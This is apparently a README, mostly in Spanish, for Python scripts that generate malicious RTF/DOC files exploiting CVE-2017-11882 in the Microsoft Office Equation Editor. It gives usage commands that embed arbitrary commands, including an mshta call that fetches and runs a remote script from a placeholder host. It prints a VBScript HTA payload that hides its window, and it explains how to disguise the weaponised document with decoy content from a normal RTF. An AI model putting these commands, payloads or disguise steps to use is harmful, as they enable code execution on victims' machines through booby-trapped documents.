
Exploit para CVE-2017-11882 (Editor de ecuaciones de Microsoft Office) con scripts de Python para generar archivos RTF/DOC maliciosos y ejecutar comandos arbitrarios o shellcode mediante mshta.
43b el script original proviene de https://github.com/embedi/CVE-2017-11882
109b el script original proviene de https://github.com/unamer/CVE-2017-11882/ (Un saludo, ahora el código de unamer ya puede ejecutar shellcode~)
CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/
MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882
Research: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about
Patch analysis: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html
DEMO PoC exploitation: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1c3ocqhrk0h00410
python Command_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc
use mshta
python Command_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc
abc
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "calc.exe"
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
El comando de 43b no puede exceder 43 bytes, el comando de 109b no puede exceder 109 bytes
example folder holds an .rtf file which exploits CVE-2017-11882 vulnerability and runs calculator in the system.
En realidad, la técnica del contenido personalizado la aprendí de otros maestros. Ya había escrito un script hace tiempo y no planeaba hacerlo público, pero vi que alguien en el grupo ya lo había publicado, así que no tuve más remedio que hacerlo público. En realidad, el método es muy simple: solo necesitas abrir el documento rtf normal con un editor de texto, copiar todo el contenido anterior a {*\datastore y reemplazar el contenido anterior a {\object\objautlink\objupdate. Así que es muy sencillo de escribir en el script.
Forma de usar para agregar contenido personalizado, elige cualquier script:
python Command109b_CVE-2017-11882.py -c "mshta http://site.com/abc" -o test.doc -i input.rtf
El contenido personalizado está en input.rtf.
Acerca del último script de explotación de 605 bytes de unamer, no lo actualizaré; si te interesa, modifícalo tú mismo.